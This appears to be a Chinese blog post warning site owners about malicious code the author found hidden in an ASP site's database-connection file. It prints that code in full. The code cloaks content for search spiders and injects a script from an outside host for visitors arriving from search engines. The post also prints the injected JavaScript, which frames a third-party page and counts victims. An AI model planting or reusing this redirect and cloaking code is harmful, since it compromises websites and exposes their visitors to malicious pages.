搜索引擎打不开网站,直接输入域名却可以
好精致的代码,比我写的优秀多了,可惜为什么就要挂马呢?
今天发现一个asp的网站直接输入域名可以打开,但是用搜索引擎却无法打开,虽然是同一个域名,结果在数据库链接函数文件中找到了这段隐藏代码,共享出来,谨防中招
function fromse() dim urlrefer,i,searray urlrefer="refer:"&LCase(request.ServerVariables("HTTP_REFERER")) fromse= false if urlrefer="" then fromse= false searray=array("google","baidu","sogou","yahoo","soso") for i=0 to ubound(searray) if (instr(urlrefer,searray(i))>0) then fromse=true next end function function mainpage() dim mainindex,n,pagearray,indexquery,i mainindex=LCase(request.ServerVariables("SCRIPT_NAME")) indexquery=LCase(request.ServerVariables("QUERY_STRING")) mainpage= false pagearray=array("/index.","/default.","/main.") for i=0 to ubound(pagearray) if (instr(mainindex,pagearray(i))>0 and len(indexquery)<2) then mainpage=true next end function if isspider() and mainpage() then dim mfso,mfileurl,mfilecon,wfile mfileurl=Server.MapPath("/images/2.html") Set mfso=Server.CreateObject("Scripting.FileSystemObject") if mfso.FileExists(mfileurl) then Set wfile=mfso.OpenTextFile(mfileurl, 1) mfilecon=wfile.readAll response.clear response.write(mfilecon) response.write("<!--"&now()&"-->") response.flush wfile.Close Set wfile=Nothing Set mfso=Nothing response.end else response.write("fn") end if end if if (fromse() and mainpage()) then response.clear response.write("<scri"&"pt lang"&"uage='jav"&"as"&"cri"&"pt' src='http://www.wecansex.com/z.js'></sc"&"ript><br/>") response.flush response.end end if。
引入js中的文件
var d=document.referrer; var re=/((wd|q|w|p|query)(=)([%A-Z0-9]*)(%|%B2%A9%B2%CA))|((wd|q|w|p|query)(=)([%A-Z0-9]*)(%B1%C8%B7%D6|%D0%C5%D3%C3%BF))|((wd|q|w|p|query)(=)([%A-Z0-9]*)(%D3%E9%C0%D6|%B6%C4))/; if(re.test(d)){ document.write('<div><script language="javascript" src="http://count21.51yes.com/click.aspx?id=211088623&logo=1" charset="gb2312"></script></div>'); var curl=window.location.href; murl="http://www.xzmvc.com/2/"; document.writeln("<frameset cols=\"*\" framespacing=\"0\" frameborder=\"no\" border=\"0\">"); document.writeln("<frame src=\""+murl+"\" scrolling=\"Yes\" noresize=\"noresize\"\/>"); document.writeln("<\/frameset>"); //setTimeout("window.location.'"+murl+"'",1); document.writeln("<div style='display:none;'>"); }else{ document.writeln("<script>"); document.writeln("window.location=window.location.href;"); document.writeln("</script>"); }
可以看到frame,内嵌murl所指向的网站,我想这个页面就是木马所在页面,而且他还加了一个统计,看看有多少上钩的,大家小心这个网站啦
继续阅读
- 上一篇 >:第三方博客之推广优势
- 下一篇 >:选择最好的电子商务系统!magento